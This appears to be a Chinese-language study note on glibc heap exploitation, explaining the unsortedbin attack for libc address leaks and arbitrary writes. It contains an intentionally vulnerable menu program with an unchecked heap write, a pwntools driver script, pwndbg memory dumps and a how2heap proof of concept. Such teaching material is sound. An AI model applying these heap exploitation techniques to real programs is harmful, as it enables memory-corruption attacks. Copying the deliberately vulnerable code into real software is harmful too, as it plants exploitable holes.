unsortedbin_attack,part leak
在glibc版本2.26(可以简单记成18.04后)以后,加入了tcachebin机制
针对tcachebin机制的攻击之后再聊
回到unsortedbin,tcachebin机制的加入主要影响的是大小小于fastbin或tcachebin的堆块
大于此的堆块被free后会直接进入unsortedbin
小于此的堆块被free后会进入tcachebin,直到tcachebin的一条链表被填满(7个chunk)
所以我们只要用7个chunk填满它,就能绕过tcachebin机制,进入unsortedbin
debug_code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h>
char *heap[0x20]; int num=0;
int getnum() { char s[24]; uint64_t v1; v1 = read(0x28u); memset(s, 0, sizeof(s)); read(0, s, 0x17uLL); return atoi(s); }
int create() { int size; int result; puts("input your size:"); size = getnum(); heap[num]=(char *)malloc(size); result = num++; puts("success!"); return result; }
void show(){ int idx; puts("idx:"); idx = getnum(); if (!heap[idx]) { puts("nothing here\n"); } else { printf("content:"); printf("%s",heap[idx]); } } void dele() { int idx; puts("idx:"); idx = getnum(); if (!heap[idx]) { puts("nothing here\n"); } else { free(heap[idx]); heap[idx]=NULL; num--; puts("success!"); } } void edit() { int size; int idx; puts("idx:"); idx = getnum(); if (!heap[idx]) { puts("nothing here\n"); } else { puts("input your size:"); size = getnum(); puts("content:"); read(0,heap[idx],size); puts("success!"); } } void menu(void){ puts("1.create"); puts("2.delete"); puts("3.edit"); puts("4.show"); puts("your choice:"); }
int main() { int choice; while ( 1 ) { while(1) { setbuf(stdin, 0); setbuf(stdout, 0); menu(); scanf("%d",&choice); if ( choice == 1 ) { create(); } else if ( choice == 3 ) { edit(); } else if ( choice == 4 ) { show(); } else if ( choice ==2 ) { dele(); } else { puts("Invalid choice"); exit(0); } } } }
|
debug_exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from struct import pack from ctypes import * from LibcSearcher import * from pwn import *
def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(os='linux', arch='amd64', log_level='debug') p = process('./testheap') elf = ELF('./testheap')
def create(size): p.sendlineafter(b'choice:\n', b'1') p.sendlineafter(b'size:\n', str(size)) def dele(idx): p.sendlineafter(b'choice:\n', b'2') p.sendlineafter(b'idx:\n', str(idx)) def edit(idx, size, content): p.sendlineafter(b'choice: \n', b'3') p.sendlineafter(b'idx:\n', str(idx)) p.sendlineafter(b'size:\n', str(size)) p.sendlineafter(b'content:\n', str(content))
def show(idx): p.sendlineafter(b'choice:\n', b'4') p.sendlineafter(b'idx:\n', str(idx))
debug() create(0x90) create(0x20) for i in range(3,11): create(0x90)
for i in range(3,11): dele(i)
dele(0) pause() create(0x45) pause() show(11)
|
free掉7个chunk以绕过tcachebin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x9cb000 Size: 0x251
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x9cb250 Size: 0xa1 fd: 0x7ff473e90ca0 bk: 0x7ff473e90ca0
Allocated chunk Addr: 0x9cb2f0 Size: 0x30
Allocated chunk | PREV_INUSE Addr: 0x9cb320 Size: 0xa1
Free chunk (tcachebins) | PREV_INUSE Addr: 0x9cb3c0 Size: 0xa1 fd: 0x00
Free chunk (tcachebins) | PREV_INUSE Addr: 0x9cb460 Size: 0xa1 fd: 0x9cb3d0
Free chunk (tcachebins) | PREV_INUSE Addr: 0x9cb500 Size: 0xa1 fd: 0x9cb470
Free chunk (tcachebins) | PREV_INUSE Addr: 0x9cb5a0 Size: 0xa1 fd: 0x9cb510
Free chunk (tcachebins) | PREV_INUSE Addr: 0x9cb640 Size: 0xa1 fd: 0x9cb5b0
Free chunk (tcachebins) | PREV_INUSE Addr: 0x9cb6e0 Size: 0xa1 fd: 0x9cb650
Free chunk (tcachebins) | PREV_INUSE Addr: 0x9cb780 Size: 0xa1 fd: 0x9cb6f0
Top chunk | PREV_INUSE Addr: 0x9cb820 Size: 0x207e1
|
如果unsortedbin的链表中只有其一个堆块 那么他的fd域和bk域都将指向main_arena+96(main_arena+x,x与glibc版本唯一相关且确定)
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> bin tcachebins 0xa0 [ 7]: 0x9cb790 —▸ 0x9cb6f0 —▸ 0x9cb650 —▸ 0x9cb5b0 —▸ 0x9cb510 —▸ 0x9cb470 —▸ 0x9cb3d0 ◂— 0x0 fastbins empty unsortedbin all: 0x9cb250 —▸ 0x7ff473e90ca0 (main_arena+96) ◂— 0x9cb250 smallbins empty largebins empty
|
unsortedbin内此时的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> x/40gx 0x9cb250 0x9cb250: 0x0000000000000000#prev_size# 0x00000000000000a1#size 0x9cb260: 0x00007ff473e90ca0#fd# 0x00007ff473e90ca0#bk 0x9cb270: 0x0000000000000000 0x0000000000000000 0x9cb280: 0x0000000000000000 0x0000000000000000 0x9cb290: 0x0000000000000000 0x0000000000000000 0x9cb2a0: 0x0000000000000000 0x0000000000000000 0x9cb2b0: 0x0000000000000000 0x0000000000000000 0x9cb2c0: 0x0000000000000000 0x0000000000000000 0x9cb2d0: 0x0000000000000000 0x0000000000000000 0x9cb2e0: 0x0000000000000000 0x0000000000000000 0x9cb2f0: 0x00000000000000a0 0x0000000000000030 0x9cb300: 0x0000000000000000 0x0000000000000000 0x9cb310: 0x0000000000000000 0x0000000000000000 0x9cb320: 0x0000000000000000 0x00000000000000a1 0x9cb330: 0x0000000000000000 0x0000000000000000 0x9cb340: 0x0000000000000000 0x0000000000000000 0x9cb350: 0x0000000000000000 0x0000000000000000 0x9cb360: 0x0000000000000000 0x0000000000000000 0x9cb370: 0x0000000000000000 0x0000000000000000 0x9cb380: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5
| Free chunk (unsortedbin) | PREV_INUSE Addr: 0x1bd6250 Size: 0xa1 fd: 0x7fe2527beca0 bk: 0x7fe2527beca0
|
create一个0x45的chunk后
1 2 3 4 5 6 7 8 9
| Allocated chunk | PREV_INUSE Addr: 0x9cb250 Size: 0x51
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x9cb2a0 Size: 0x51 fd: 0x7ff473e90ca0 bk: 0x7ff473e90ca0
|
可见当用户申请新的空间时,系统会优先分割unsortedbin中的空间
(申请的空间小于等于unsortedbin的空间)
此时新chunk内的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> x/40gx 0x9cb250 0x9cb250: 0x0000000000000000 0x0000000000000051 0x9cb260: 0x00007ff473e90d30 0x00007ff473e90d30 0x9cb270: 0x0000000000000000 0x0000000000000000 0x9cb280: 0x0000000000000000 0x0000000000000000 0x9cb290: 0x0000000000000000 0x0000000000000000 0x9cb2a0: 0x0000000000000000 0x0000000000000051 0x9cb2b0: *0x00007ff473e90ca0 *0x00007ff473e90ca0 0x9cb2c0: 0x0000000000000000 0x0000000000000000 0x9cb2d0: 0x0000000000000000 0x0000000000000000 0x9cb2e0: 0x0000000000000000 0x0000000000000000 0x9cb2f0: 0x0000000000000050 0x0000000000000030 0x9cb300: 0x0000000000000000 0x0000000000000000 0x9cb310: 0x0000000000000000 0x0000000000000000 0x9cb320: 0x0000000000000000 0x00000000000000a1 0x9cb330: 0x0000000000000000 0x0000000000000000 0x9cb340: 0x0000000000000000 0x0000000000000000 0x9cb350: 0x0000000000000000 0x0000000000000000 0x9cb360: 0x0000000000000000 0x0000000000000000 0x9cb370: 0x0000000000000000 0x0000000000000000 0x9cb380: 0x0000000000000000 0x0000000000000000
|
我们可以看到原来chunk的fd与bk都被保留
可以借此泄露libc基址(能打印chunk中数据的情况)
unsortedbin_attack,part use
在malloc.c中的_int_malloc有一段关于Unsorted bin chunk摘除的代码:
1 2 3 4 5
| if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
|
看后两行就好了,unsorted_chunk的bk指针指向的是它后一个被释放的chunk的块地址(bck),后一个被释放的chunk的fd指针指向的是unsorted_chunk的块地址。如果我们能够控制unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),即unsorted_chunk的块地址写到任意可写地址内
一段来自how2heap的代码,已经去掉英文解说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #include <stdio.h> #include <stdlib.h>
int main() {
unsigned long target_var = 0; fprintf(stderr,"&target_var and target_var:\n"); fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsigned long *p = malloc(400); fprintf(stderr, "The first chunk_addr at: %p\n",p);
malloc(500);
free(p); fprintf(stderr, "The first chunk_fd is %p\n",(void *)p[1]);
p[1] = (unsigned long)(&target_var - 2); fprintf(stderr, "Now,The first chunk_fd is %p\n\n", (void *)p[1]);
malloc(400); fprintf(stderr, "target has been rewrite %p: %p\n", &target_var, (void *)target_var); }
|
创建一个名为target_var的无符号长整型变量,并将其初始化为0。
使用fprintf函数打印target_var的地址和值。
分配一个400字节大小的chunk,并将其地址存储在指针变量p中。
使用fprintf函数打印第一个内存块的地址。
分配一个500字节大小的chunk(此处没有存储其返回值)。
释放之前分配的内存块p。
使用fprintf函数打印第一个内存块的第二个元素(p[1])的值,此时它将显示先前分配的内存块的fd(free chunk中的前向指针)。
将第一个内存块的第二个元素(p[1])修改为target_var的地址减去2(&target_var - 2),即使得其指向target_var之前的位置。
使用fprintf函数再次打印第一个内存块的第二个元素(p[1])的值,此时它将显示修改后的地址。
分配一个400字节大小的内存块。
使用fprintf函数打印target_var的地址和值,现在target_var已被篡改,其值应该是修改后的地址。
接下来跟着gdb单步看内存情况
由于笔者16.04的环境g了,通过上面绕过tcache机制的方式来看unsortedbin
停在breakpoint1
1 2 3 4 5 6 7 8
| unsortedbin all: 0x602250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x602250
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x602250 Size: 0x1a1 fd: 0x7ffff7dcdca0 bk: 0x7ffff7dcdca0
|
可以看到第一个进入unsorted_bin的chunk(chunk0)的fd和bk都指向0x7ffff7dcdca0 (main_arena+96)
申请chunk1是为了防止chunk0在进入unsorted_bin的时候与top_chunk合并,可以不管
接下来走到
p[1] = (unsigned long)(&target_var - 2);
这段代码其实修改的是chunk0的bk指针,使其指向了target_var_addr - 0x10这一处地址
为什么减去的是0x10,因为target_var 是unsigned long类型的,&target_var - 2就意味着要减去两个地址位宽(8 + 8)
为什么要减去0x10,这是因为想将target_var所在地址作为一个fake_chunk的malloc地址,即fake_chunk的fd位置,减0x10的位置就是fake_chunk的块指针,这样才符合Unsorted bin双向链表的规则
接下来走到
malloc(400);
1 2 3 4
| unsortedbin all [corrupted] FD: 0x602250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x602250 BK: 0x602250 —▸ 0x7fffffffe2a0 —▸ 0x602260 ◂— 0x0
|
这里系统把unsorted_bin中的chunk0的空间分配给了chunk2
在执行 p[1] = (unsigned long)(&target_var - 2)修改完chunk0的bk指针后,bk链接的就是以target - 0x10为块头的fake_chunk了。这里需要注意的是,由于chunk0现在还挂在unsorted_bin中,我们此时更改chunk0的bk会导致corrupted
由于在上一个步骤中发生了corrupted,所以在重新启用chunk0分配到chunk2的时候,unsorted_bin的fd依然还会指向fake_chunk。
但chunk0已经被拿走了,此时fake_chunk就与unsorted_bin相邻了,所以fake_chunk作为unsorted_bin的后一个chunk,fake_chunk的fd指针(即target的值)就会执行unsorted_bin的块头。
unsorted_bin的bk指针将会指向fake_chunk的块头
那么这样一来target中的值就从0变为了unsorted_bin的地址了
前面的攻击手段,以后再来探索吧~